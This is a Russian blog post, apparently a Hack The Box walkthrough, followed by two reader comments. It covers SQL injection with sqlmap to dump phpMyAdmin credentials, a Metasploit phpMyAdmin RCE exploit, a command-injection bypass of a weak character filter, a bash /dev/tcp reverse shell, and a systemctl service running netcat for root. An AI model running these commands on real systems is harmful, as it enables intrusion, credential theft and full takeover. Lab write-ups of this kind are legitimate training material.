Приветствую! Буквально вчера разбирал машину с HTB. Как по мне, отличный полигон по прокачке скилов в области sql инъекций, инъекций команд в командной строке, использованию метасплойта и повышению привилегий.

Для успешного прохождения необходимо:

  • Знать, как перечислять директории

  • Иногда смотреть url

  • Уметь "правильно”гуглить

  • Немного знать синтаксис питона (python)

В итоге мы узнаем:

  • На что обращать внимание в url

  • Как работать с sqlmap

  • Почему стоит качественно разрабатывать фильтры

Сбор информации

Именно с разведки начинается любая атака на целевую систему. Необходимо понять, что вообще можно атаковать. Используем сканер nmap.

nmap -A -sC -sV -Pn 10.10.10.143 -p-

Получили следующее:

Начнем с 80 порта. Посетим веб-сайт.

На первый взгляд обычный интернет-магазин. Поклацаем по кнопкам и… будет результат)

В url данной странице есть признаки sql инъекции (http://10.10.10.143/room.php?cod=3). Попробуйте поменять 3 на 1 и вы увидите, как вас перебросит на другую страницу. Для нас это сигнал, попутно запускаем перечисление директорий (использую gobuster).

gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirb/common.txt -x txt,php -e

phpmyadmin… Теперь все ясно, сейчас расскажу. В интернете частенько можно увидеть связку LAMP – (linux, apache, mysql, php). Связка это используется для функционирования интернет магазинов и т.д., короче, где нужна база данных и php LAMP – это самый простой вариант. Администраторам порой сложновато работать с базой данных через консоль, чтобы создавать соответствующие запросы. Именно для них, добрые люди придумали фреймворк (phpmyadmin). Он попроще в плане управления и «очень хорошо» защищен.

План А такой:

  1. Через sql инъекцию получаем логин и пароль админа phpmyadmin

  2. Запускаем метасплойт и ищем эксплойт

  3. Используем полученные данные для формирования боевой нагрузки

  4. Входим в систему

Точка опоры

sqlmap – довольно хороший инструмент, правда следов оставляет море, но для нашей цели подойдет (мы же «белые хакеры»). Составим запрос следующего вида:

sqlmap -u http://10.10.10.143/room.php?cod=3  --batch --random-agent --passwords

Впринцыпе на этом можно заканчивать и переходить к плану Б (добавить в запрос
–os-shell), но мы идем дальше. Есть логин и пароль пробуем авторизоваться.

Доступ получен, переходим к формированию боевой нагрузки. Запускаем метасплойт.

msfconsole

Ищем эксплойт.

search phpmyadmin

Нам нужен этот (exploit/multi/http/phpmyadmin_lfi_rce), но можете попробовать и другие)

use exploit/multi/http/phpmyadmin_lfi_rce

Добавляем недостающие данные. Комментировать не буду, в интернете есть пару курсов по работе с метасплойтом.

set username DBadmin
set password imissyou
set rhosts 10.10.10.143
set lhost tun0
run

Далее внутренняя разведка. Загружу мой любимый скрипт (linpeas.sh).

cd /tmp
upload linpeas.sh

Перейдем в оболочку bash.

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

Запускаем скрипт и идем пить кофе. Через пару минут есть результат. Мы можем запускать один файл с правами пользователя pepper.

И также есть вектор для получения рута, но для этого нужно стать пользователем pepper.

ROOT будет наш

Посмотрим, что в этом файле (/var/www/Admin-Utilities/simpler.py).

cat /var/www/Admin-Utilities/simpler.py

Самое интересное тут:

def exec_ping():
	forbidden = ['&', ';', '-', '`', '||', '|']
	command = input('Enter an IP: ')
	for i in forbidden:
		if i in command:
			print('Got you')
			exit()
	os.system('ping ' + command)

Суть - вводим ip и пингуем. Тут бы инъекцию команд применить, но есть фильтр.

forbidden = ['&', ';', '-', '`', '||', '|']

К счастью (для нас), упущен один символ «$». Этим и воспользуемся (запускать необходимо через пользователя pepper).

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

В качестве нагрузки:

$(bash)

Работает, но отсутствует вывод команд, кинем удаленный shell. Все shell тут.

Я записываю в файл свою боевую нагрузку (bash -c "bash -i >& /dev/tcp/10.10.14.9/1234 0>&1") и поднимаю слушатель. Код следующий:

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.9/1234 0>&1"' > shell.sh

Запускаю скрипт, но с другой нагрузкой:

$(/tmp/shell.sh)

Хорошо, я pepper, время рута. Вернемся к этому бинарнику (/bin/systemctl).

Тут написано как его использовать для получения рута. Мне вчера пришлось немного допилить нагрузку, вот делюсь:

[Service]
Type=oneshot
ExecStart=/bin/sh -с "nc 10.10.14.9 1212 -e /bin/bash"
[Install]
WantedBy=multi-user.target

Мы не используем вывод через переменную $TF, а просто записываем это все в файл (ro.service), который доставляем вот так:

wget http://10.10.14.9:8000/ro.service

Время действовать (не забудь поднять слушатель).

/bin/systemctl link /home/pepper/ro.service
/bin/systemctl enable --now /home/pepper/ro.service

В случае если у вас не получится, создайте файл с новым именем и повторите команды. Менять старый файл нет смысла, чтобы сработало надо перезапустить службу, а прав нет.

Тачка пройдена! ROOT наш.

Вместо вывода

Реалии таковы, что 80% успеха зависит от того, как ты умеешь искать. И лишь 20% от усидчивости) Тачка прикольная, респект автору. Всем удачного взлома!

Комментарии (2)


  1. TyVik
    15.12.2021 22:56

    А где-нибудь есть docker-образы или виртуальные машины для самостоятельной тренировки? Помнится, в универе увлекался взломом crackme - бинарников, в которых нужно что-то поменять или узнать код. Хотелось бы такого же, но только не на платной площадке.


    1. Letychiy Автор
      16.12.2021 07:25
      +1

      Полный список площадок тут. В твоём случае Vulnhub, root-me, и docker-образы уязвимых веб приложений. Я бы не ставил крест на НТВ. Подписка дает возможность ломать машины которые "ушли на пенсию", а так можешь атаковать только активные...